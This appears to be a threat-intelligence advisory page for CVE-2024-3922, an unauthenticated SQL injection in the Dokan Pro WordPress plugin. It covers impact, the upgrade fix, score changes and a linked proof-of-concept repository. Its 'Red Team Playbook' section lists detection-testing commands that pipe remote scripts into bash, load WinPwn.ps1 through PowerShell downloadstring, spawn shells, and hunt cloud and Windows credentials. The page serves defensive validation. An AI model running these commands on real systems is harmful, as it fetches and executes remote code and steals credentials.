CVE-2024-3922
Overview
This vulnerability is a SQL Injection affecting the Dokan Pro plugin for WordPress, specifically in versions up to and including 3.10.3. The root cause lies in improper sanitization and insufficient preparation of the 'code' parameter within SQL queries, allowing user-supplied input to be directly concatenated into database commands. This flaw exists in the query construction logic of the plugin’s backend component handling parameter processing.
Vulnerability Description
The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely over the network without user interaction, due to the plugin’s exposure and lack of authentication requirements. Successful exploitation allows the attacker to execute arbitrary SQL queries, potentially extracting sensitive database information, modifying data, or disrupting service availability. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms network attackability with low complexity and no privileges or user interaction needed, making this a critical threat to affected WordPress sites.
Solution
Users should upgrade the Dokan Pro plugin to version 3.10.4 or later, where the vendor has addressed this SQL Injection flaw. Detailed patch information and version-specific fixes are available in the official Dokan changelog at https://dokan.co/docs/wordpress/changelog/ and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/d9de41de-f2f7-4b16-8ec9-d30bbd3d8786. No alternative workarounds are documented; applying the update is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Dokan Pro plugin for WordPress arises from a critical SQL Injection flaw that affects all versions up to and including 3.10.3. This vulnerability is primarily due to inadequate escaping of the 'code' parameter, which allows attackers to manipulate SQL queries executed by the application. When user-supplied input is not properly sanitized or prepared, it opens a pathway for malicious actors to inject arbitrary SQL commands. This can lead to unauthorized access to the database, where attackers can execute additional SQL queries that may reveal sensitive information, modify data, or even delete records.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could craft a specially formed request that includes malicious SQL code within the 'code' parameter. For instance, by appending SQL commands to the legitimate request, an attacker could retrieve user credentials, payment information, or other confidential data stored in the database. This type of attack can be executed remotely, requiring no prior authentication, which significantly increases the risk as it allows for widespread exploitation across vulnerable installations of the plugin. Attackers may also employ automated tools to scan for vulnerable sites, making it easier to identify and exploit affected instances.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on the Dokan Pro plugin to facilitate e-commerce operations. The potential for data breaches could lead to significant financial losses, reputational damage, and legal repercussions due to non-compliance with data protection regulations. Organizations may face the costs associated with incident response, forensic investigations, and public relations efforts to mitigate the fallout from a data breach. Furthermore, the exposure of sensitive customer information can erode trust and lead to a loss of business, as customers may choose to engage with competitors perceived as more secure.
To detect and mitigate the risks associated with this SQL Injection vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify instances of the vulnerable plugin in use. Additionally, maintaining an up-to-date inventory of all plugins and promptly applying security patches is crucial. Organizations should also consider employing Web Application Firewalls (WAFs) that can filter out malicious requests before they reach the application. Furthermore, developers should adopt secure coding practices, including the use of prepared statements and parameterized queries, to prevent SQL injection vulnerabilities in future code.
In conclusion, the SQL Injection vulnerability in the Dokan Pro plugin poses a significant threat to WordPress installations, particularly those involved in e-commerce. The ease of exploitation combined with the potential for severe consequences underscores the importance of proactive security measures. By prioritizing detection and mitigation strategies, organizations can protect their sensitive data and maintain the integrity of their systems against such vulnerabilities.
Recent updates to CVE-2024-3922 reflect a recalibration of its CVSS score from 9.8 to a maximum severity of 10.0, underscoring the critical nature of this SQL injection vulnerability in the Dokan Pro WordPress plugin. Although the EPSS score shows a slight decline, our telemetry indicates continued availability of proof-of-concept exploits, maintaining a persistent threat environment. This adjustment signals that the vulnerability’s potential impact on confidentiality, integrity, and availability is now fully recognized, emphasizing the ease with which unauthenticated attackers can leverage it to extract sensitive data. For defenders, this change elevates the urgency to monitor for exploitation attempts and reinforces the necessity of prioritizing detection capabilities. While exploitation activity has not surged markedly, the stable presence of functional exploits combined with the vulnerability’s critical rating demands sustained vigilance. The threat level remains at its highest, reflecting both the technical severity and the operational feasibility of attacks exploiting this flaw.
Update 2 — May 21, 2026
Recent adjustments to the CVSS and EPSS scores for CVE-2024-3922 reflect a refined understanding of the vulnerability’s exploitability and impact. The slight reduction in the CVSS score from 10.0 to 9.8, coupled with a marginal increase in the EPSS score to 0.8966, indicates that while the vulnerability remains critically severe, the probability of exploitation is marginally higher than previously assessed. CSURFACE threat intelligence confirms that the exploitability remains stable, with no significant surge in active exploitation attempts detected by our telemetry. However, the availability of proof-of-concept exploits continues to facilitate potential adversaries’ ability to weaponize this flaw. This nuanced shift underscores the importance for defenders to maintain heightened monitoring and detection capabilities, as the vulnerability’s critical nature and persistent exploit potential sustain a high threat level. The updated metrics suggest that while the immediate risk has not escalated dramatically, the environment remains conducive to exploitation, warranting ongoing vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dokan | Dokan | All |
cpe:2.3:a:dokan:dokan:*:*:*:*:pro:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
truonghuuphuc/CVE-2024-3922-Poc
Dokan Pro <= 3.10.3 - Unauthenticated SQL Injection
|
truonghuuphuc | 1 | 0 | 2024-06-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3922 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/d9de41de-f2f7-4b16-8ec9-d30bbd3d8786?source=cve |
| dokan.co |
GitHub CVE
|
https://dokan.co/docs/wordpress/changelog/ |